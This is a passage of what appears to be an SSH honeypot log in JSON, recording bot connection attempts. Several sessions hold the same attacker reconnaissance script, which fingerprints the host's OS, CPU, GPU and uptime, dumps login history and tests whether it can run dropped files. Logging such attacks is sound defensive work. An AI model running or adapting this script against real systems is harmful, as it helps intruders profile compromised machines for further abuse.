  "ended_at": "2026-08-27T06:26:18.990253+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4e9cb860-4ca9-4b77-98bb-d9cd34103651",
  "name": "silent-regal-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 52737,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:25:12.876162+00:00",
  "ended_at": "2026-08-27T06:25:21.989420+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cfa063ae-049d-4cd6-9733-d12a95e0ace9",
  "name": "jaunty-wistful-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 58180,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:24:26.590395+00:00",
  "ended_at": "2026-08-27T06:24:26.703289+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b2b208b3-735a-489c-9bb0-a397c7f1be4c",
  "name": "thrifty-jaunty-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 55334,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:22:35.121451+00:00",
  "ended_at": "2026-08-27T06:22:35.275011+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "cc70d9d8-9771-4afd-95c1-5f98d19ed18f",
  "name": "gleaming-balmy-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 60347,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:21:31.816242+00:00",
  "ended_at": "2026-08-27T06:21:33.747763+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ecf4dfe8-503c-4a34-bb93-621cd3a65185",
  "name": "cheerful-candid-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 52470,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:20:44.236898+00:00",
  "ended_at": "2026-08-27T06:20:44.406915+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "c6e2a4ae-0ebd-4ae9-a930-6cd7ee406548",
  "name": "earnest-downy-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 49612,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:18:56.986811+00:00",
  "ended_at": "2026-08-27T06:18:57.098736+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "796d8745-1d6b-4a34-91a0-5827fd74c40e",
  "name": "vaulted-hollow-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 46774,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:17:08.518114+00:00",
  "ended_at": "2026-08-27T06:17:08.631893+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "df825144-4938-41b1-a473-539ffc012e30",
  "name": "fringed-frugal-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "193.32.162.84",
  "src_port": 43906,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T06:15:16.983902+00:00",
  "ended_at": "2026-08-27T06:15:17.098648+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "777680af-e985-4595-9a82-b2d76eb95659",
  "name": "alpine-dappled-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.57.121.112",
  "src_port": 19898,
  "username": "ria",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T06:15:16.364400+00:00",
  "ended_at": "2026-08-27T06:15:16.877728+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
